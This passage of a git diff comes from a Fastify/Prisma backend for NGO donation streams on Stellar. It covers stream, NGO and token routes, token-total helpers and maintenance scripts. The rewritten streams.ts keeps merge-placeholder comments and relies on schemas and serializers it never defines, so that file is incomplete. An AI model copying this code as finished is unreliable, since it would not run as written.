cursor record does not + // exist. Treat that as "cursor is past the end of the list" and return + // an empty page rather than a 400/500. + if (err instanceof Prisma.PrismaClientKnownRequestError && err.code === 'P2025') { + rows = []; + } else { + throw err; + } + } + + const hasMore = rows.length > limit; + const page = hasMore ? rows.slice(0, limit) : rows; + const donors = page.map(({ streams, ...donor }) => ({ + ...donor, + totalCommitted: streams + .reduce((sum, stream) => sum + committedAmount(stream), 0n) + .toString(), + committedByToken: committedTotalsByToken(streams), + })); + + return sendPublicCacheable(request, reply, { + donors, + nextCursor: hasMore ? donors[donors.length - 1].id : null, + }); + }); + + /** + * Returns a public NGO profile with approved application details and impact statistics. + * @route GET /v1/ngos/:id + * @param id NGO UUID + * @auth Public + * @returns 200 NGO detail with totals and recent streams; 400 invalid UUID; 404 `{ error: "not_found" }`. + */ + app.get('/ngos/:id', async (request, reply) => { + const parsedParams = idParamSchema.safeParse(request.params); + if (!parsedParams.success) { + return reply.code(400).send({ error: 'invalid_request' }); + } + + const ngo = await findNgoDetail({ id: parsedParams.data.id }); + if (!ngo) { + return reply.code(404).send({ error: 'not_found' }); + } + + return sendPublicCacheable(request, reply, ngo); + }); + + /** + * Updates or clears the NGO's public display name. + * @route PATCH /v1/admin/ngos/:id + * @param id NGO UUID + * @body `{ displayName?: string | null }` + * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. + * @returns 200 updated NGO with its effective public `name`; 400 invalid params/body; 404 `{ error: "not_found" }`. + */ + app.patch( + '/admin/ngos/:id', + { + preHandler: requireAdminSignature, + schema: { + tags: ['NGOs'], + summary: "Updates or clears the NGO's public display name", + security: [{ adminAddress: [], adminSignature: [], adminTimestamp: [] }], + }, + }, + async (request, reply) => { + const parsedParams = idParamSchema.safeParse(request.params); + if (!parsedParams.success) { + return reply.code(400).send({ error: 'invalid_request' }); + } + + const parsedBody = updateNgoSchema.safeParse(request.body); + if (!parsedBody.success) { + return reply.code(400).send({ error: 'invalid_request', details: parsedBody.error.flatten() }); + } + + const ngo = await prisma.ngo.findUnique({ where: { id: parsedParams.data.id } }); + if (!ngo) { + return reply.code(404).send({ error: 'not_found' }); + } + + const updated = await prisma.ngo.update({ + where: { id: ngo.id }, + data: { displayName: parsedBody.data.displayName }, + }); + + return { ...updated, name: updated.displayName || updated.name }; + }); +} diff --git a/src/routes/streams.ts b/src/routes/streams.ts index b637b5d..148b43c 100644 --- a/src/routes/streams.ts +++ b/src/routes/streams.ts @@ -1,124 +1,263 @@ - -import type { FastifyInstance } from 'fastify'; -import { StrKey } from '@stellar/stellar-sdk'; -import { z } from 'zod'; - -import { prisma } from '../db.js'; -import { sendPublicCacheable } from './cacheable.js'; -import { getPublicNgoName } from './ngoName.js'; - -// Keep all the existing schemas, serializers, and helper functions here: -// querySchema, querystringDocs, idParamSchema, onChainIdParamSchema, -// activityQuerySchema, streamInclude, serializeStream, serializeStreamEvent. - -// Keep the complete streamRoutes function from the main branch, -// including these three routes: -// -// 1. GET /streams -// 2. GET /streams/chain/:onChainId -// 3. GET /streams/:id -// -// Then retain the existing activity route from feat/openapi-security-scheme: - -export async function streamRoutes(app: FastifyInstance): Promise { - // Keep the complete GET /streams handler from main here. - // Keep the complete GET /streams/chain/:onChainId handler from main here. - // Keep the complete GET /streams/:id handler from main here. - - /** - * Lists on-chain events for a stream, newest first. - * @route GET /v1/streams/:id/activity - * @param id Stream UUID - * @query limit, cursor - * @auth Public - * @returns 200 paginated events; 400 for invalid params/query or unknown cursor; 404 if the stream is not found. - */ - app.get( - '/streams/:id/activity', - { - schema: { - tags: ['Streams'], - summary: 'List activity events for a stream', - description: - 'Returns on-chain events for the given stream, newest first, with cursor pagination.', - params: { - type: 'object', - properties: { id: { type: 'string', format: 'uuid' } }, - required: ['id'], - }, - querystring: { - type: 'object', - properties: { - limit: { - type: 'integer', - minimum: 1, - maximum: 100, - default: 100, - }, - cursor: { type: 'string', format: 'uuid' }, - }, - }, - response: { - 200: { type: 'object', additionalProperties: true }, - 400: { type: 'object', additionalProperties: true }, - 404: { type: 'object', additionalProperties: true }, - }, - }, - }, - async (request, reply) => { - const parsedParams = idParamSchema.safeParse(request.params); - - if (!parsedParams.success) { - return reply.code(400).send({ error: 'invalid_request' }); - } - - const parsedQuery = activityQuerySchema.safeParse(request.query); - - if (!parsedQuery.success) { - return reply.code(400).send({ - error: 'invalid_request', - details: parsedQuery.error.flatten(), - }); - } - - const { limit, cursor } = parsedQuery.data; - - const stream = await prisma.stream.findUnique({ - where: { id: parsedParams.data.id }, - select: { onChainId: true }, - }); - - if (!stream) { - return reply.code(404).send({ error: 'not_found' }); - } - - // Reject unknown cursors instead of silently returning an empty page. - if (cursor) { - const cursorEvent = await prisma.streamEvent.findUnique({ - where: { id: cursor }, - select: { id: true }, - }); - - if (!cursorEvent) { - return reply.code(400).send({ error: 'invalid_request' }); - } - } - - const rows = await prisma.streamEvent.findMany({ - where: { streamId: stream.onChainId }, - orderBy: [{ createdAt: 'desc' }, { id: 'desc' }], - take: limit + 1, - ...(cursor ? { skip: 1, cursor: { id: cursor } } : {}), - }); - - const hasMore = rows.length > limit; - const events = hasMore ? rows.slice(0, limit) : rows; - - return sendPublicCacheable(request, reply, { - events: events.map(serializeStreamEvent), - hasMore, - nextCursor: hasMore ? (events.at(-1)?.id ?? null) : null, - }); - }, - ); -} +import type { FastifyInstance } from 'fastify'; +import { StrKey } from '@stellar/stellar-sdk'; +import { z } from 'zod'; + +import { prisma } from '../db.js'; +import { sendPublicCacheable } from './cacheable.js'; +import { getPublicNgoName } from './ngoName.js'; + +// Keep all the existing schemas, serializers, and helper functions here: +// querySchema, querystringDocs, idParamSchema, onChainIdParamSchema, +// activityQuerySchema, streamInclude, serializeStream, serializeStreamEvent. + +// Keep the complete streamRoutes function from the main branch, +// including these three routes: +// +// 1. GET /streams +// 2. GET /streams/chain/:onChainId +// 3. GET /streams/:id +// +// Then retain the existing activity route from feat/openapi-security-scheme: + +export async function streamRoutes(app: FastifyInstance): Promise { + /** + * Lists streams newest first with optional donor, NGO, token, and status filters. + * @route GET /v1/streams + * @query donor, ngo, ngoAddress, token, status, limit, cursor + * @auth Public + * @returns 200 `{ streams: Stream[], hasMore: boolean, nextCursor: string | null }`; 400 `{ error: "invalid_request", details }` for any invalid query parameter. + */ + app.get( + '/streams', + { + // `querySchema` is the only validator for this query. Fastify would + // otherwise also validate `schema.querystring` with Ajv and reject some + // requests first with a body that has no `details`, so Fastify's own + // validation is turned off here and `schema.querystring` below is documentation only. + validatorCompiler: () => (data) => ({ value: data }), + schema: { + tags: ['Streams'], + summary: 'List donation streams', + description: 'Returns streams newest first, with optional filters and cursor pagination.', + querystring: querystringDocs, + response: { + 200: { type: 'object', additionalProperties: true }, + 400: { type: 'object', additionalProperties: true }, + 404: { type: 'object', additionalProperties: true }, + }, + }, + }, + async (request, reply) => { + const parsedQuery = querySchema.safeParse(request.query); + if (!parsedQuery.success) { + return reply + .code(400) + .send({ error: 'invalid_request', details: parsedQuery.error.flatten() }); + } + // `donor` filters by wallet address (donors have no public directory of + // their own); `ngo` filters by the NGO's internal id, matching what + // GET /ngos and /ngos/:id expose; `ngoAddress` filters by the NGO's + // Stellar wallet address for clients that only have the on-chain key. + const { donor, ngo, ngoAddress, token, status, limit, cursor } = parsedQuery.data; + + const rows = await prisma.stream.findMany({ + where: { + ...(donor ? { donor: { address: donor } } : {}), + ...(ngo ? { ngoId: ngo } : {}), + ...(ngoAddress ? { ngo: { ownerAddress: ngoAddress } } : {}), + ...(token ? { tokenAddress: token } : {}), + ...(status ? { status } : {}), + }, + orderBy: { createdAt: 'desc' }, + take: limit + 1, + ...(cursor ? { skip: 1, cursor: { id: cursor } } : {}), + include: streamInclude, + }); + + const hasMore = rows.length > limit; + const streams = hasMore ? rows.slice(0, limit) : rows; + + return sendPublicCacheable(request, reply, { + streams: streams.map(serializeStream), + hasMore, + nextCursor: hasMore ? (streams.at(-1)?.id ?? null) : null, + }); + }, + ); + + /** + * Lists distinct token addresses seen across streams, with a stream count for each. + * @route GET /v1/tokens + * @auth Public + * @returns 200 `{ tokens: { tokenAddress: string, streamCount: number }[] }`, sorted by stream count descending then address ascending. + */ + app.get( + '/tokens', + { + schema: { + tags: ['Streams'], + summary: 'List tokens used by streams', + description: + 'Returns distinct token addresses across all streams with the number of streams per token.', + response: { + 200: { type: 'object', additionalProperties: true }, + }, + }, + }, + async (request, reply) => { + const grouped = await prisma.stream.groupBy({ + by: ['tokenAddress'], + _count: { _all: true }, + orderBy: [{ _count: { tokenAddress: 'desc' } }, { tokenAddress: 'asc' }], + }); + + return sendPublicCacheable(request, reply, { + tokens: grouped.map((row) => ({ + tokenAddress: row.tokenAddress, + streamCount: row._count._all, + })), + }); + }, + ); + + /** + * Returns a stream by its UUID. + * @route GET /v1/streams/:id + * @param id Stream UUID + * @auth Public + * @returns 200 serialized stream (including string `onChainId`); 400 invalid UUID; 404 `{ error: "not_found" }`. + */ + app.get( + '/streams/:id', + { + schema: { + tags: ['Streams'], + summary: 'Get a donation stream', + params: { + type: 'object', + properties: { id: { type: 'string', format: 'uuid' } }, + required: ['id'], + }, + response: { + 200: { type: 'object', additionalProperties: true }, + 400: { type: 'object', additionalProperties: true }, + 404: { type: 'object', additionalProperties: true }, + }, + }, + }, + async (request, reply) => { + const parsedParams = idParamSchema.safeParse(request.params); + if (!parsedParams.success) { + return reply.code(400).send({ error: 'invalid_request' }); + } + + const stream = await prisma.stream.findUnique({ + where: { id: parsedParams.data.id }, + include: streamInclude, + }); + + if (!stream) { + return reply.code(404).send({ error: 'not_found' }); + } + + return sendPublicCacheable(request, reply, serializeStream(stream)); + }, + ); + + /** + * Lists on-chain events for a stream, newest first. + * @route GET /v1/streams/:id/activity + * @param id Stream UUID + * @query limit, cursor + * @auth Public + * @returns 200 paginated events; 400 for invalid params/query or unknown cursor; 404 if the stream is not found. + */ + app.get( + '/streams/:id/activity', + { + schema: { + tags: ['Streams'], + summary: 'List activity events for a stream', + description: + 'Returns on-chain events for the given stream, newest first, with cursor pagination.', + params: { + type: 'object', + properties: { id: { type: 'string', format: 'uuid' } }, + required: ['id'], + }, + querystring: { + type: 'object', + properties: { + limit: { + type: 'integer', + minimum: 1, + maximum: 100, + default: 100, + }, + cursor: { type: 'string', format: 'uuid' }, + }, + }, + response: { + 200: { type: 'object', additionalProperties: true }, + 400: { type: 'object', additionalProperties: true }, + 404: { type: 'object', additionalProperties: true }, + }, + }, + }, + async (request, reply) => { + const parsedParams = idParamSchema.safeParse(request.params); + + if (!parsedParams.success) { + return reply.code(400).send({ error: 'invalid_request' }); + } + + const parsedQuery = activityQuerySchema.safeParse(request.query); + + if (!parsedQuery.success) { + return reply.code(400).send({ + error: 'invalid_request', + details: parsedQuery.error.flatten(), + }); + } + + const { limit, cursor } = parsedQuery.data; + + const stream = await prisma.stream.findUnique({ + where: { id: parsedParams.data.id }, + select: { onChainId: true }, + }); + + if (!stream) { + return reply.code(404).send({ error: 'not_found' }); + } + + // Reject unknown cursors instead of silently returning an empty page. + if (cursor) { + const cursorEvent = await prisma.streamEvent.findUnique({ + where: { id: cursor }, + select: { id: true }, + }); + + if (!cursorEvent) { + return reply.code(400).send({ error: 'invalid_request' }); + } + } + + const rows = await prisma.streamEvent.findMany({ + where: { streamId: stream.onChainId }, + orderBy: [{ createdAt: 'desc' }, { id: 'desc' }], + take: limit + 1, + ...(cursor ? { skip: 1, cursor: { id: cursor } } : {}), + }); + + const hasMore = rows.length > limit; + const events = hasMore ? rows.slice(0, limit) : rows; + + return sendPublicCacheable(request, reply, { + events: events.map(serializeStreamEvent), + hasMore, + nextCursor: hasMore ? (events.at(-1)?.id ?? null) : null, + }); + }, + ); +} \ No newline at end of file diff --git a/src/routes/tokenTotals.ts b/src/routes/tokenTotals.ts index e4c776e..18e6957 100644 --- a/src/routes/tokenTotals.ts +++ b/src/routes/tokenTotals.ts @@ -1,27 +1,44 @@ -export interface StreamForTokenTotals { - tokenAddress: string; - balance: string; - withdrawn: string; - status: 'ACTIVE' | 'CANCELLED'; -} - -export interface TokenTotal { - tokenAddress: string; - amount: string; -} - -export function committedTotalsByToken(streams: StreamForTokenTotals[]): TokenTotal[] { - const totals = new Map(); - - for (const stream of streams) { - const committed = - stream.status === 'CANCELLED' - ? BigInt(stream.withdrawn) - : BigInt(stream.balance) + BigInt(stream.withdrawn); - totals.set(stream.tokenAddress, (totals.get(stream.tokenAddress) ?? 0n) + committed); - } - - return [...totals] - .sort(([left], [right]) => left.localeCompare(right)) - .map(([tokenAddress, amount]) => ({ tokenAddress, amount: amount.toString() })); -} +export interface StreamForTokenTotals { + tokenAddress: string; + balance: string; + withdrawn: string; + status: 'ACTIVE' | 'CANCELLED'; +} + +export interface TokenTotal { + tokenAddress: string; + amount: string; +} + +export interface TokenSummary { + tokenAddress: string; + streamCount: number; +} + +export function committedTotalsByToken(streams: StreamForTokenTotals[]): TokenTotal[] { + const totals = new Map(); + + for (const stream of streams) { + const committed = + stream.status === 'CANCELLED' + ? BigInt(stream.withdrawn) + : BigInt(stream.balance) + BigInt(stream.withdrawn); + totals.set(stream.tokenAddress, (totals.get(stream.tokenAddress) ?? 0n) + committed); + } + + return [...totals] + .sort(([left], [right]) => left.localeCompare(right)) + .map(([tokenAddress, amount]) => ({ tokenAddress, amount: amount.toString() })); +} + +export function distinctTokensWithStreamCount(streams: StreamForTokenTotals[]): TokenSummary[] { + const counts = new Map(); + + for (const stream of streams) { + counts.set(stream.tokenAddress, (counts.get(stream.tokenAddress) ?? 0) + 1); + } + + return [...counts] + .sort(([left], [right]) => left.localeCompare(right)) + .map(([tokenAddress, streamCount]) => ({ tokenAddress, streamCount })); +} diff --git a/src/scripts/reconcileVerification.ts b/src/scripts/reconcileVerification.ts index 7c01024..afefbf9 100644 --- a/src/scripts/reconcileVerification.ts +++ b/src/scripts/reconcileVerification.ts @@ -1,165 +1,165 @@ -import { - Account, - Contract, - Keypair, - Networks, - nativeToScVal, - scValToNative, - TransactionBuilder, -} from '@stellar/stellar-sdk'; -import { pathToFileURL } from 'node:url'; -import { rpcServer } from '../stellar/rpc.js'; -import { NGO_REGISTRY_CONTRACT_ID } from '../indexer/contracts.js'; -import { prisma } from '../db.js'; - -const RPC_CONCURRENCY = 5; - -export interface ReconciliationMismatch { - ngoId: string; - ownerAddress: string; - dbVerified: boolean; - onChainVerified: boolean; -} - -export interface ReconciliationReport { - checked: number; - mismatches: ReconciliationMismatch[]; - fixed: number; -} - -/** - * Read an NGO's verified flag from the on-chain ngo-registry contract. - * Returns null when the NGO is not registered on-chain. - */ -export async function readOnChainVerified(ownerAddress: string): Promise { - if (!NGO_REGISTRY_CONTRACT_ID) { - throw new Error('NGO_REGISTRY_CONTRACT_ID is not configured'); - } - - const contract = new Contract(NGO_REGISTRY_CONTRACT_ID); - const operation = contract.call('verified', nativeToScVal(ownerAddress, { type: 'address' })); - const source = new Account(Keypair.random().publicKey(), '0'); - - const transaction = new TransactionBuilder( - source, - { - fee: '100', - networkPassphrase: - process.env.STELLAR_NETWORK_PASSPHRASE ?? Networks.TESTNET, - }, - ) - .addOperation(operation) - .setTimeout(0) - .build(); - - const simulation = await rpcServer.simulateTransaction(transaction); - if ('error' in simulation) { - const error = String(simulation.error); - if (error.includes('NotRegistered') || error.includes('NotFound')) { - return null; - } - throw new Error(`Simulation failed for ${ownerAddress}: ${error}`); - } - - const ret = 'result' in simulation ? simulation.result?.retval : undefined; - if (!ret) { - return null; - } - - const verified = scValToNative(ret); - if (typeof verified !== 'boolean') { - throw new Error(`Unsupported verified return type for ${ownerAddress}: ${typeof verified}`); - } - return verified; -} - -/** - * Read every NGO's on-chain verified status and compare it to the DB. - * When `fix` is true, mismatches are written back to the NGO table. - */ -export async function reconcileVerification(options: { fix?: boolean } = {}): Promise { - const { fix = false } = options; - const ngos = await prisma.ngo.findMany(); - - const results = await mapWithConcurrency(ngos, RPC_CONCURRENCY, async (ngo) => { - const onChainVerified = await readOnChainVerified(ngo.ownerAddress); - if (onChainVerified === null) { - return null; - } - if (onChainVerified === ngo.verified) { - return null; - } - - const mismatch = { - ngoId: ngo.id, - ownerAddress: ngo.ownerAddress, - dbVerified: ngo.verified, - onChainVerified, - }; - - if (fix) { - await prisma.ngo.update({ - where: { id: ngo.id }, - data: { verified: onChainVerified }, - }); - } - return mismatch; - }); - - const mismatches = results.filter( - (mismatch): mismatch is ReconciliationMismatch => mismatch !== null, - ); - - return { checked: ngos.length, mismatches, fixed: fix ? mismatches.length : 0 }; -} - -async function mapWithConcurrency( - items: T[], - concurrency: number, - map: (item: T) => Promise, -): Promise { - const results = new Array(items.length); - let nextIndex = 0; - - await Promise.all( - Array.from({ length: Math.min(concurrency, items.length) }, async () => { - while (nextIndex < items.length) { - const index = nextIndex++; - results[index] = await map(items[index]); - } - }), - ); - - return results; -} - -async function main(): Promise { - const fix = process.argv.includes('--fix'); - const report = await reconcileVerification({ fix }); - - console.log(`Checked ${report.checked} NGOs.`); - if (report.mismatches.length === 0) { - console.log('No verification mismatches found.'); - return; - } - - for (const mismatch of report.mismatches) { - console.log( - `${mismatch.ngoId} (${mismatch.ownerAddress}): DB=${mismatch.dbVerified}, on-chain=${mismatch.onChainVerified}`, - ); - } - - process.exitCode = 1; - if (fix) { - console.log(`Fixed ${report.fixed} mismatches.`); - } else { - console.log('Run with --fix to update the DB.'); - } -} - -if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) { - main().catch((error) => { - console.error(error); - process.exitCode = 1; - }); -} +import { + Account, + Contract, + Keypair, + Networks, + nativeToScVal, + scValToNative, + TransactionBuilder, +} from '@stellar/stellar-sdk'; +import { pathToFileURL } from 'node:url'; +import { rpcServer } from '../stellar/rpc.js'; +import { NGO_REGISTRY_CONTRACT_ID } from '../indexer/contracts.js'; +import { prisma } from '../db.js'; + +const RPC_CONCURRENCY = 5; + +export interface ReconciliationMismatch { + ngoId: string; + ownerAddress: string; + dbVerified: boolean; + onChainVerified: boolean; +} + +export interface ReconciliationReport { + checked: number; + mismatches: ReconciliationMismatch[]; + fixed: number; +} + +/** + * Read an NGO's verified flag from the on-chain ngo-registry contract. + * Returns null when the NGO is not registered on-chain. + */ +export async function readOnChainVerified(ownerAddress: string): Promise { + if (!NGO_REGISTRY_CONTRACT_ID) { + throw new Error('NGO_REGISTRY_CONTRACT_ID is not configured'); + } + + const contract = new Contract(NGO_REGISTRY_CONTRACT_ID); + const operation = contract.call('verified', nativeToScVal(ownerAddress, { type: 'address' })); + const source = new Account(Keypair.random().publicKey(), '0'); + + const transaction = new TransactionBuilder( + source, + { + fee: '100', + networkPassphrase: + process.env.STELLAR_NETWORK_PASSPHRASE ?? Networks.TESTNET, + }, + ) + .addOperation(operation) + .setTimeout(0) + .build(); + + const simulation = await rpcServer.simulateTransaction(transaction); + if ('error' in simulation) { + const error = String(simulation.error); + if (error.includes('NotRegistered') || error.includes('NotFound')) { + return null; + } + throw new Error(`Simulation failed for ${ownerAddress}: ${error}`); + } + + const ret = 'result' in simulation ? simulation.result?.retval : undefined; + if (!ret) { + return null; + } + + const verified = scValToNative(ret); + if (typeof verified !== 'boolean') { + throw new Error(`Unsupported verified return type for ${ownerAddress}: ${typeof verified}`); + } + return verified; +} + +/** + * Read every NGO's on-chain verified status and compare it to the DB. + * When `fix` is true, mismatches are written back to the NGO table. + */ +export async function reconcileVerification(options: { fix?: boolean } = {}): Promise { + const { fix = false } = options; + const ngos = await prisma.ngo.findMany(); + + const results = await mapWithConcurrency(ngos, RPC_CONCURRENCY, async (ngo) => { + const onChainVerified = await readOnChainVerified(ngo.ownerAddress); + if (onChainVerified === null) { + return null; + } + if (onChainVerified === ngo.verified) { + return null; + } + + const mismatch = { + ngoId: ngo.id, + ownerAddress: ngo.ownerAddress, + dbVerified: ngo.verified, + onChainVerified, + }; + + if (fix) { + await prisma.ngo.update({ + where: { id: ngo.id }, + data: { verified: onChainVerified }, + }); + } + return mismatch; + }); + + const mismatches = results.filter( + (mismatch): mismatch is ReconciliationMismatch => mismatch !== null, + ); + + return { checked: ngos.length, mismatches, fixed: fix ? mismatches.length : 0 }; +} + +async function mapWithConcurrency( + items: T[], + concurrency: number, + map: (item: T) => Promise, +): Promise { + const results = new Array(items.length); + let nextIndex = 0; + + await Promise.all( + Array.from({ length: Math.min(concurrency, items.length) }, async () => { + while (nextIndex < items.length) { + const index = nextIndex++; + results[index] = await map(items[index]); + } + }), + ); + + return results; +} + +async function main(): Promise { + const fix = process.argv.includes('--fix'); + const report = await reconcileVerification({ fix }); + + console.log(`Checked ${report.checked} NGOs.`); + if (report.mismatches.length === 0) { + console.log('No verification mismatches found.'); + return; + } + + for (const mismatch of report.mismatches) { + console.log( + `${mismatch.ngoId} (${mismatch.ownerAddress}): DB=${mismatch.dbVerified}, on-chain=${mismatch.onChainVerified}`, + ); + } + + process.exitCode = 1; + if (fix) { + console.log(`Fixed ${report.fixed} mismatches.`); + } else { + console.log('Run with --fix to update the DB.'); + } +} + +if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) { + main().catch((error) => { + console.error(error); + process.exitCode = 1; + }); +} diff --git a/src/scripts/replayDeadLetters.ts b/src/scripts/replayDeadLetters.ts index e1bc372..d479d73 100644 --- a/src/scripts/replayDeadLetters.ts +++ b/src/scripts/replayDeadLetters.ts @@ -1,114 +1,114 @@ -import 'dotenv/config'; - -import { pathToFileURL } from 'node:url'; - -import { prisma } from '../db.js'; -import { WATCHED_CONTRACT_IDS } from '../indexer/contracts.js'; -import { rebuildEventFromDeadLetter } from '../indexer/deadLetter.js'; -import { dispatchEvent } from '../indexer/dispatch.js'; -import type { ContractEvent, EventHandler } from '../indexer/worker.js'; - -const MAX_ERROR_LENGTH = 2000; - -function describeError(err: unknown): string { - const text = err instanceof Error ? `${err.name}: ${err.message}` : String(err); - return text.slice(0, MAX_ERROR_LENGTH); -} - -export interface ReplayReport { - attempted: number; - resolved: number; - failed: number; -} - -export interface ReplayOptions { - /** Overridable for tests; production uses the real dispatcher. */ - dispatcher?: EventHandler; -} - -/** - * Re-runs every unresolved dead letter through the event dispatcher. - * - * A row is marked resolved only when the dispatcher returns without - * recording a new failure. Some handlers report a permanent failure by - * calling `recordDeadLetter` and returning rather than throwing (an event - * for an unknown stream, for example), so the row is re-read after dispatch - * and left unresolved when its attempt count moved. - * - * Rows are processed oldest-first and one at a time: the handlers apply - * relative balance changes, and replaying two events for the same stream out - * of order would be worse than replaying them slowly. - */ -export async function replayDeadLetters(options: ReplayOptions = {}): Promise { - const dispatcher = options.dispatcher ?? dispatchEvent; - const deadLetters = await prisma.indexerDeadLetter.findMany({ - where: { resolvedAt: null }, - orderBy: [{ ledger: 'asc' }, { eventId: 'asc' }], - }); - - let resolved = 0; - let failed = 0; - - for (const deadLetter of deadLetters) { - try { - // An unwatched contract id would fall through dispatchEvent's default - // branch as a silent no-op, which would wrongly mark the row resolved. - if (deadLetter.contractId === null || !WATCHED_CONTRACT_IDS.includes(deadLetter.contractId)) { - throw new Error( - `contract ${deadLetter.contractId ?? ''} is not one of the currently watched contracts`, - ); - } - - const event = rebuildEventFromDeadLetter(deadLetter); - // The dead-letter row stores the fields handlers actually read, not - // the RPC envelope's remaining metadata (event type, indexes, etc.). - await dispatcher(event as unknown as ContractEvent); - - const current = await prisma.indexerDeadLetter.findUnique({ - where: { id: deadLetter.id }, - select: { attempts: true }, - }); - if (current !== null && current.attempts > deadLetter.attempts) { - failed += 1; - continue; - } - - await prisma.indexerDeadLetter.update({ - where: { id: deadLetter.id }, - data: { resolvedAt: new Date(), attempts: { increment: 1 } }, - }); - resolved += 1; - } catch (err) { - failed += 1; - await prisma.indexerDeadLetter.update({ - where: { id: deadLetter.id }, - data: { error: describeError(err), attempts: { increment: 1 } }, - }); - } - } - - return { attempted: deadLetters.length, resolved, failed }; -} - -async function main(): Promise { - const report = await replayDeadLetters(); - console.log( - `Replayed ${report.attempted} unresolved dead letter(s): ` + - `${report.resolved} resolved, ${report.failed} still failing.`, - ); - - if (report.failed > 0) { - process.exitCode = 1; - } -} - -if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) { - main() - .catch((error) => { - console.error(error); - process.exitCode = 1; - }) - .finally(async () => { - await prisma.$disconnect(); - }); -} +import 'dotenv/config'; + +import { pathToFileURL } from 'node:url'; + +import { prisma } from '../db.js'; +import { WATCHED_CONTRACT_IDS } from '../indexer/contracts.js'; +import { rebuildEventFromDeadLetter } from '../indexer/deadLetter.js'; +import { dispatchEvent } from '../indexer/dispatch.js'; +import type { ContractEvent, EventHandler } from '../indexer/worker.js'; + +const MAX_ERROR_LENGTH = 2000; + +function describeError(err: unknown): string { + const text = err instanceof Error ? `${err.name}: ${err.message}` : String(err); + return text.slice(0, MAX_ERROR_LENGTH); +} + +export interface ReplayReport { + attempted: number; + resolved: number; + failed: number; +} + +export interface ReplayOptions { + /** Overridable for tests; production uses the real dispatcher. */ + dispatcher?: EventHandler; +} + +/** + * Re-runs every unresolved dead letter through the event dispatcher. + * + * A row is marked resolved only when the dispatcher returns without + * recording a new failure. Some handlers report a permanent failure by + * calling `recordDeadLetter` and returning rather than throwing (an event + * for an unknown stream, for example), so the row is re-read after dispatch + * and left unresolved when its attempt count moved. + * + * Rows are processed oldest-first and one at a time: the handlers apply + * relative balance changes, and replaying two events for the same stream out + * of order would be worse than replaying them slowly. + */ +export async function replayDeadLetters(options: ReplayOptions = {}): Promise { + const dispatcher = options.dispatcher ?? dispatchEvent; + const deadLetters = await prisma.indexerDeadLetter.findMany({ + where: { resolvedAt: null }, + orderBy: [{ ledger: 'asc' }, { eventId: 'asc' }], + }); + + let resolved = 0; + let failed = 0; + + for (const deadLetter of deadLetters) { + try { + // An unwatched contract id would fall through dispatchEvent's default + // branch as a silent no-op, which would wrongly mark the row resolved. + if (deadLetter.contractId === null || !WATCHED_CONTRACT_IDS.includes(deadLetter.contractId)) { + throw new Error( + `contract ${deadLetter.contractId ?? ''} is not one of the currently watched contracts`, + ); + } + + const event = rebuildEventFromDeadLetter(deadLetter); + // The dead-letter row stores the fields handlers actually read, not + // the RPC envelope's remaining metadata (event type, indexes, etc.). + await dispatcher(event as unknown as ContractEvent); + + const current = await prisma.indexerDeadLetter.findUnique({ + where: { id: deadLetter.id }, + select: { attempts: true }, + }); + if (current !== null && current.attempts > deadLetter.attempts) { + failed += 1; + continue; + } + + await prisma.indexerDeadLetter.update({ + where: { id: deadLetter.id }, + data: { resolvedAt: new Date(), attempts: { increment: 1 } }, + }); + resolved += 1; + } catch (err) { + failed += 1; + await prisma.indexerDeadLetter.update({ + where: { id: deadLetter.id }, + data: { error: describeError(err), attempts: { increment: 1 } }, + }); + } + } + + return { attempted: deadLetters.length, resolved, failed }; +} + +async function main(): Promise { + const report = await replayDeadLetters(); + console.log( + `Replayed ${report.attempted} unresolved dead letter(s): ` + + `${report.resolved} resolved, ${report.failed} still failing.`, + ); + + if (report.failed > 0) { + process.exitCode = 1; + } +} + +if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) { + main() + .catch((error) => { + console.error(error); + process.exitCode = 1; + }) + .finally(async () => { + await prisma.$disconnect(); + }); +} diff --git a/src/server.ts b/src/server.ts index 9fc283e..4d43b03 100644 --- a/src/server.ts +++ b/src/server.ts @@ -1,522 +1,522 @@ -import { timingSafeEqual } from 'node:crypto'; -import cors from '@fastify/cors'; -import helmet from '@fastify/helmet'; -import rateLimit from '@fastify/rate-limit'; -import swagger from '@fastify/swagger'; -import swaggerUi from '@fastify/swagger-ui'; -import Fastify from 'fastify'; -import type { FastifyError, FastifyReply } from 'fastify'; - -import { prisma } from './db.js'; -import { recordHttpRequest, renderMetrics } from './metrics.js'; -import { getCheckpoint } from './indexer/checkpoint.js'; -import { donorRoutes } from './routes/donors.js'; -import { impactRoutes } from './routes/impact.js'; -import { indexerStatusRoutes } from './routes/indexerStatus.js'; -import { getLatestLedgerSequence } from './stellar/rpc.js'; -import { ngoApplicationRoutes } from './routes/ngoApplications.js'; -import { ngoRoutes } from './routes/ngos.js'; -import { deadLetterRoutes } from './routes/deadLetters.js'; -import { streamRoutes } from './routes/streams.js'; -import { registerRequestIdHeader, requestIdOptions } from './requestId.js'; -import { registerCompression } from './plugins/compression.js'; -import { registerLogRetention } from './maintenance/logRetention.js'; - -// Retain the project's existing imports/definitions for: -// - withTimeout -// - HEALTH_CHECK_TIMEOUT_MS -// - requireAdminSignature - -const USE_PRETTY_LOGS = !['production', 'test'].includes( - process.env.NODE_ENV ?? '', -); - -function hasValidBearerToken( - header: string | undefined, - expectedToken: string, -): boolean { - if (header === undefined) return false; - - const match = /^Bearer\s+(.+)$/i.exec(header.trim()); - if (match === null) return false; - - const provided = Buffer.from(match[1]); - const expected = Buffer.from(expectedToken); - - return ( - provided.length === expected.length && - timingSafeEqual(provided, expected) - ); -} - -export type TrustProxySetting = - | boolean - | string - | string[] - | ((address: string, hop: number) => boolean); - -export function parseTrustProxy( - value: string | undefined, -): TrustProxySetting { - if (value === undefined || value.trim() === '') return true; - - const trimmed = value.trim(); - const lower = trimmed.toLowerCase(); - - if (lower === 'true') return true; - if (lower === 'false') return false; - - const num = Number(trimmed); - - if (!Number.isNaN(num) && Number.isInteger(num)) { - if (num <= 0) return false; - return (_address: string, hop: number) => hop < num; - } - - if (trimmed.includes(',')) { - return trimmed - .split(',') - .map((s) => s.trim()) - .filter((s) => s.length > 0); - } - - return trimmed; -} - -export interface BuildServerOptions { - trustProxy?: TrustProxySetting; -} - -const DEFAULT_BODY_LIMIT_BYTES = 1_048_576; - -function configuredBodyLimit(): number { - const value = process.env.BODY_LIMIT_BYTES; - if (value === undefined || value.trim() === '') return 